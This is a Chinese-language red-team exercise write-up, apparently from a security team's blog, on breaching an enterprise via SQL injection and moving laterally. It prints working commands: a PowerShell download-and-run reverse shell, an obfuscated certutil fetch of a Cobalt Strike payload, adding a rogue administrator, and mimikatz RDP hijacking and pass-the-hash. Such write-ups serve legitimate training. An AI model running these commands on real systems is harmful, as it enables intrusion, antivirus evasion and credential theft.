声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

前言

某次攻防演练中,主办方只提供了目标企业名称,其他信息都需要自己收集,这篇文章记录一下渗透过程。

信息收集

既然只有目标名称,name首先根据提供的名称去查询下备案域名。一般常用的就是工信部ICP/IP地址/域名信息备案管理系统
https://beian.miit.gov.cn/
是比较精准了,但是每次查询都要点击验证码,对于我这种懒人来说还是感觉比较麻烦~ 个人使用次数比较多的是
https://www.beianx.cn/
这个网站优点就是很少触发验证码识别,缺点可能信息更新不及时/不全面,跟前一个网站可以配合着用 查询到目标备案域名后,可以在fofa、hunter上进行信息收集,或者使用谷歌语法
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
在对主站及子域进行相关测试后,并没有发现可以利用的点;使用nmap对子域IP进行全端口探测,发现如下信息系统:

SQL注入上线CS

使用burp爆破弱口令未果;遂尝试SQL注入,发现漏洞存在且为DBA权限
直接os-shell,但是看不到回显
sqlmap.py -r 1.txt --os-shell
可以通dnslog,但是尝试powershell上线失败
通过powershell反弹cmd
  • • powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **** -p **** -e cmd
攻击端用nc监听即可反弹出cmd。
然后使用certutil下载cs上线程序,然后执行上线。certutil是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中需要将该命令做一定的免杀处理,比如
c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe

提权&&内网横向

当前用户是SqlServer权限,不利于下一步的内网横向,所以要先提权,执行systeminfo可知当前为server2012系统。当前可以考虑使用BadPotato提权(提权脚本见知识星球)
当前被控机已提权至system权限,一般我们可以在CS上注入一个进程简单做一下权限维持 在CS客户端会话上
邮件-Explore-Process List-在加载出的系统进程中选择一个常见程序-下方选择Inject
至此系统提权和权限维持已完成,因为是server2012 R2版本,也没有啥比较好的办法去读密码,个人一般选择加用户或者激活guest然后搭代理登3389。添加用户:
net user aaa 123qwe... /add
这就添加了一个用户为:aaa密码为:123qwe...的用户了 第二步 将此用户提升为管理员:
net localgroup administrators aaa /add
管理员账户已经添加完成,看看受控机是否启用远程桌面连接
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
0x1表示关闭;0x0表示开启
查一下远桌面服务开在了哪个端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
之后再通过计算器来将16进制转10进制即可:
现在该有的权限、管理员账号、3389都具备了,用frp或者nps搭个代理就可以连接内网服务器了。但是还没有拿下服务器的管理员桌面,可以考虑使用rdp劫持
privilege::debug #提权 

ts::sessions #查看当前主机的会话

token::elevate #提升本地管理员权限为system 

ts::remote /id:2 #劫持id为2的会话
或者
privilege::debug 

sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"
(手头上没有合适的机器复现了,暂且找了张图凑合看吧,图文无关~)
现在管理员桌面也搞定了,然后直接上Tscan扫内网,等待的时间可以翻翻mstsc连接记录、浏览器历史记录和记住的账号密码。这个内网资产还可以,毕竟是大企业内网而且防护相对比较薄弱,刚好Tscan的POC比较多,比较适合刷分。这里就不再一一放图了~

工具下载

Tscan和提权脚本已同步知识星球。
往期推荐
E
N
D
知识星球产品及服务
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......
扫码加入一起学习吧~
继续阅读
阅读原文